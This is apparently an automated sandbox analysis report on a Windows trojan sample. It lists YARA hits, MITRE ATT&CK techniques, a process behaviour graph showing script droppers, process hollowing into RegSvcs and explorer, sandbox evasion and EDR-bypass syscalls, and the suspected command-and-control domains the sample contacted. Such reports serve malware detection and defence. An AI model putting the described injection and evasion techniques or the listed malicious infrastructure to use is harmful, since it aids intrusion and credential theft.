              Source: Yara matchFile source: 00000022.00000002.2804048077.0000000000810000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573770459.0000000002D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.2651574285.00000000030B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319234756.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319290240.0000000001424000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319869337.00000000013C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4573249463.00000000027D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701553801.000000000196B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2318005189.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613533809.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000012.00000002.4574062995.0000000004640000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000003.2613039958.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000003.2701767663.000000000193C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000003.2317954009.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00792163 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,8_2_00792163

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting              		Valid Accounts1
              Native API              		1
              Scripting              		1
              Exploitation for Privilege Escalation              		1
              Deobfuscate/Decode Files or Information              		1
              Credential API Hooking              		1
              System Time Discovery              		Remote Services1
              Archive Collected Data              		1
              Encrypted Channel              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              Shared Modules              		1
              DLL Side-Loading              		1
              Abuse Elevation Control Mechanism              		1
              Abuse Elevation Control Mechanism              		LSASS Memory1
              System Network Connections Discovery              		Remote Desktop Protocol1
              Credential API Hooking              		1
              Non-Application Layer Protocol              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts2
              Command and Scripting Interpreter              		1
              Registry Run Keys / Startup Folder              		1
              DLL Side-Loading              		3
              Obfuscated Files or Information              		Security Account Manager2
              File and Directory Discovery              		SMB/Windows Admin SharesData from Network Shared Drive11
              Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook812
              Process Injection              		1
              Software Packing              		NTDS226
              System Information Discovery              		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script1
              Registry Run Keys / Startup Folder              		1
              DLL Side-Loading              		LSA Secrets361
              Security Software Discovery              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              Rootkit              		Cached Domain Credentials2
              Virtualization/Sandbox Evasion              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
              Masquerading              		DCSync3
              Process Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job2
              Virtualization/Sandbox Evasion              		Proc Filesystem1
              Application Window Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt812
              Process Injection              		/etc/passwd and /etc/shadow2
              System Network Configuration Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1549395 Sample: mJIvCBk5vF.exe Startdate: 05/11/2024 Architecture: WINDOWS Score: 100 93 www.ybokiesite.online 2->93 95 www.xs5.buzz 2->95 97 8 other IPs or domains 2->97 101 Found malware configuration 2->101 103 Malicious sample detected (through community Yara rule) 2->103 105 Multi AV Scanner detection for submitted file 2->105 107 13 other signatures 2->107 14 mJIvCBk5vF.exe 3 29 2->14         started        signatures3 process4 file5 87 C:\Users\user\AppData\Local\...\gbkusncub.ppt, PE32 14->87 dropped 89 C:\Users\user\AppData\Local\Temp\...\rwwk.vbe, Unicode 14->89 dropped 91 C:\Users\user\AppData\Local\...\hcmdvu.msc, data 14->91 dropped 153 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->153 18 wscript.exe 1 14->18         started        signatures6 process7 signatures8 99 Windows Scripting host queries suspicious COM object (likely to drop second stage) 18->99 21 cmd.exe 1 18->21         started        23 cmd.exe 1 18->23         started        26 cmd.exe 1 18->26         started        process9 signatures10 28 gbkusncub.ppt 1 27 21->28         started        32 conhost.exe 21->32         started        125 Uses ipconfig to lookup or modify the Windows network settings 23->125 34 conhost.exe 23->34         started        36 ipconfig.exe 1 23->36         started        38 conhost.exe 26->38         started        40 ipconfig.exe 1 26->40         started        process11 file12 79 C:\Users\user\llkd\gbkusncub.ppt.exe, PE32 28->79 dropped 81 C:\Users\user\AppData\...\gbkusncub.ppt.exe, PE32 28->81 dropped 83 C:\Users\user\llkd\hcmdvu.msc, data 28->83 dropped 85 2 other files (none is malicious) 28->85 dropped 145 Contains functionality to inject code into remote processes 28->145 147 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 28->147 149 Writes to foreign memory regions 28->149 151 2 other signatures 28->151 42 RegSvcs.exe 28->42         started        45 RegSvcs.exe 28->45         started        signatures13 process14 signatures15 127 Modifies the context of a thread in another process (thread injection) 42->127 129 Maps a DLL or memory area into another process 42->129 131 Sample uses process hollowing technique 42->131 135 2 other signatures 42->135 47 explorer.exe 72 2 42->47 injected 133 Tries to detect virtualization through RDTSC time measurements 45->133 process16 signatures17 155 Uses netstat to query active network connections and open ports 47->155 50 gbkusncub.ppt.exe 2 47->50         started        54 gbkusncub.ppt.exe 47->54         started        56 gbkusncub.ppt.exe 47->56         started        58 5 other processes 47->58 process18 file19 77 C:\Users\user\llkd\gbkusncub.ppt.exe.exe, PE32 50->77 dropped 109 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 50->109 111 Writes to foreign memory regions 50->111 113 Allocates memory in foreign processes 50->113 60 RegSvcs.exe 50->60         started        63 RegSvcs.exe 50->63         started        115 Injects a PE file into a foreign processes 54->115 65 RegSvcs.exe 54->65         started        67 RegSvcs.exe 54->67         started        69 RegSvcs.exe 56->69         started        71 RegSvcs.exe 56->71         started        117 Modifies the context of a thread in another process (thread injection) 58->117 119 Maps a DLL or memory area into another process 58->119 121 Tries to detect virtualization through RDTSC time measurements 58->121 123 Switches to a custom stack to bypass stack traces 58->123 73 cmd.exe 1 58->73         started        signatures20 process21 signatures22 137 Modifies the context of a thread in another process (thread injection) 60->137 139 Maps a DLL or memory area into another process 60->139 141 Sample uses process hollowing technique 60->141 143 Found direct / indirect Syscall (likely to bypass EDR) 63->143 75 conhost.exe 73->75         started        process23

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              mJIvCBk5vF.exe47%ReversingLabsWin32.Trojan.Lisk

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt.exe0%ReversingLabs
              C:\Users\user\AppData\Local\Temp\RegSvcs.exe0%ReversingLabs
              C:\Users\user\llkd\gbkusncub.ppt0%ReversingLabs
              C:\Users\user\llkd\gbkusncub.ppt.exe0%ReversingLabs
              C:\Users\user\llkd\gbkusncub.ppt.exe.exe0%ReversingLabs

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://www.xs5.buzzReferer:0%Avira URL Cloudsafe
              http://www.teplero.shop/o52o/www.ichaellee.info0%Avira URL Cloudsafe
              http://www.arehouse-inventory-62571.bond/o52o/0%Avira URL Cloudsafe
              http://www.avannahholcomb.shop0%Avira URL Cloudsafe
              http://www.xs5.buzz/o52o/www.uratool.net0%Avira URL Cloudsafe
              http://www.jg-bw.app/o52o/0%Avira URL Cloudsafe
              http://www.anion.app0%Avira URL Cloudsafe
              http://www.jg-bw.appReferer:0%Avira URL Cloudsafe
              http://www.teplero.shop/o52o/0%Avira URL Cloudsafe
              http://www.anion.appReferer:0%Avira URL Cloudsafe
              http://www.anion.app/o52o/www.arehouse-inventory-62571.bond0%Avira URL Cloudsafe
              http://www.teplero.shop0%Avira URL Cloudsafe
              http://www.xs5.buzz/o52o/0%Avira URL Cloudsafe
              http://www.arehouse-inventory-62571.bond0%Avira URL Cloudsafe
              http://www.xs5.buzz0%Avira URL Cloudsafe
              http://www.flegendarycap50.online0%Avira URL Cloudsafe
              http://www.ybokiesite.onlineReferer:0%Avira URL Cloudsafe
              http://www.eal-estate-90767.bondReferer:0%Avira URL Cloudsafe
              http://www.mewtcp.xyz/o52o/www.avannahholcomb.shop0%Avira URL Cloudsafe
              http://www.teplero.shopReferer:0%Avira URL Cloudsafe
              http://www.indseniorjob881.click0%Avira URL Cloudsafe
              http://www.ichaellee.info/o52o/www.flegendarycap50.online0%Avira URL Cloudsafe
              http://www.uratool.netReferer:0%Avira URL Cloudsafe
              http://www.mewtcp.xyz/o52o/0%Avira URL Cloudsafe
              http://www.arehouse-inventory-62571.bondReferer:0%Avira URL Cloudsafe
              http://www.flegendarycap50.online/o52o/www.mewtcp.xyz0%Avira URL Cloudsafe
              http://www.ee.zone/o52o/0%Avira URL Cloudsafe
              http://www.ome-decor-10002.bondReferer:0%Avira URL Cloudsafe
              http://www.eal-estate-90767.bond/o52o/www.indseniorjob881.click0%Avira URL Cloudsafe
              http://www.uratool.net0%Avira URL Cloudsafe
              http://www.ee.zone0%Avira URL Cloudsafe
              http://www.anion.app/o52o/0%Avira URL Cloudsafe
              http://www.indseniorjob881.click/o52o/0%Avira URL Cloudsafe
              http://www.eal-estate-90767.bond/o52o/0%Avira URL Cloudsafe
              http://www.jg-bw.app0%Avira URL Cloudsafe
              http://www.mewtcp.xyzReferer:0%Avira URL Cloudsafe
              http://www.ichaellee.info/o52o/0%Avira URL Cloudsafe
              http://www.ybokiesite.online/o52o/0%Avira URL Cloudsafe
              http://www.flegendarycap50.onlineReferer:0%Avira URL Cloudsafe
              http://www.avannahholcomb.shop/o52o/www.ee.zone0%Avira URL Cloudsafe
              http://www.uratool.net/o52o/0%Avira URL Cloudsafe
              http://www.ome-decor-10002.bond/o52o/www.66hf918cz.autos0%Avira URL Cloudsafe
              http://www.ome-decor-10002.bond0%Avira URL Cloudsafe
              http://www.indseniorjob881.click/o52o/www.xs5.buzz0%Avira URL Cloudsafe
              http://www.mewtcp.xyz0%Avira URL Cloudsafe
              http://www.ybokiesite.online/o52o/www.teplero.shop0%Avira URL Cloudsafe
              http://www.arehouse-inventory-62571.bond/o52o/www.ome-decor-10002.bond0%Avira URL Cloudsafe
              http://www.ichaellee.info0%Avira URL Cloudsafe
              http://www.66hf918cz.autosReferer:0%Avira URL Cloudsafe
              http://www.avannahholcomb.shop/o52o/0%Avira URL Cloudsafe
              http://www.avannahholcomb.shopReferer:0%Avira URL Cloudsafe
              www.ybokiesite.online/o52o/0%Avira URL Cloudsafe
              http://www.ybokiesite.online0%Avira URL Cloudsafe
              http://www.flegendarycap50.online/o52o/0%Avira URL Cloudsafe
              http://www.indseniorjob881.clickReferer:0%Avira URL Cloudsafe
              http://www.66hf918cz.autos0%Avira URL Cloudsafe
              http://www.eal-estate-90767.bond0%Avira URL Cloudsafe
              http://www.ome-decor-10002.bond/o52o/0%Avira URL Cloudsafe
              http://www.ichaellee.infoReferer:0%Avira URL Cloudsafe
              http://www.uratool.net/o52o/www.anion.app0%Avira URL Cloudsafe
              http://www.ee.zone/o52o/www.jg-bw.app0%Avira URL Cloudsafe
              http://www.jg-bw.app/o52o/www.eal-estate-90767.bond0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              www.jg-bw.app
              		unknown
              		unknowntrue
                		unknown
                www.eal-estate-90767.bond
                		unknown
                		unknowntrue
                  		unknown
                  www.ichaellee.info
                  		unknown
                  		unknowntrue
                    		unknown
                    www.flegendarycap50.online
                    		unknown
                    		unknowntrue
                      		unknown
                      www.teplero.shop
                      		unknown
                      		unknowntrue
                        		unknown
                        www.ybokiesite.online
                        		unknown
                        		unknowntrue
                          		unknown
                          www.ee.zone
                          		unknown
                          		unknowntrue
                            		unknown
                            www.xs5.buzz
                            		unknown
                            		unknowntrue
                              		unknown
                              www.avannahholcomb.shop
                              		unknown
                              		unknowntrue
                                		unknown
                                www.indseniorjob881.click
                                		unknown
                                		unknowntrue
                                  		unknown

                                  Contacted URLs

                                  NameMaliciousAntivirus DetectionReputation
                                  www.ybokiesite.online/o52o/true
                                  • Avira URL Cloud: safe
                                  		unknown

                                  URLs from Memory and Binaries

                                  NameSourceMaliciousAntivirus DetectionReputation
                                  http://www.arehouse-inventory-62571.bond/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  http://www.avannahholcomb.shopexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                    		high
                                    https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngFexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.xs5.buzzReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.anion.appexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://word.office.comMexplorer.exe, 00000011.00000003.2980892639.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4587304622.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.3076566560.000000000C086000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.teplero.shop/o52o/www.ichaellee.infoexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.xs5.buzz/o52o/www.uratool.netexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://www.autoitscript.com/autoit3/mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe.exe.21.drfalse
                                              		high
                                              https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameriexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.jg-bw.app/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.teplero.shop/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.anion.appReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.jg-bw.appReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.anion.app/o52o/www.arehouse-inventory-62571.bondexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.teplero.shopexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.flegendarycap50.onlineexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.xs5.buzz/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                http://www.arehouse-inventory-62571.bondexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://wns.windows.com/eexplorer.exe, 00000011.00000000.2331902622.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4583168633.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2979251014.00000000099AB000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.mewtcp.xyz/o52o/www.avannahholcomb.shopexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.xs5.buzzexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://www.autoitscript.com/autoit3/JmJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980268067.000000000C546000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C3E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C533000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980349184.000000000C533000.00000004.00000001.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2516469366.00000000003D5000.00000002.00000001.01000000.0000000D.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2643834849.00000000003D5000.00000002.00000001.01000000.0000000D.sdmp, gbkusncub.ppt.exe, 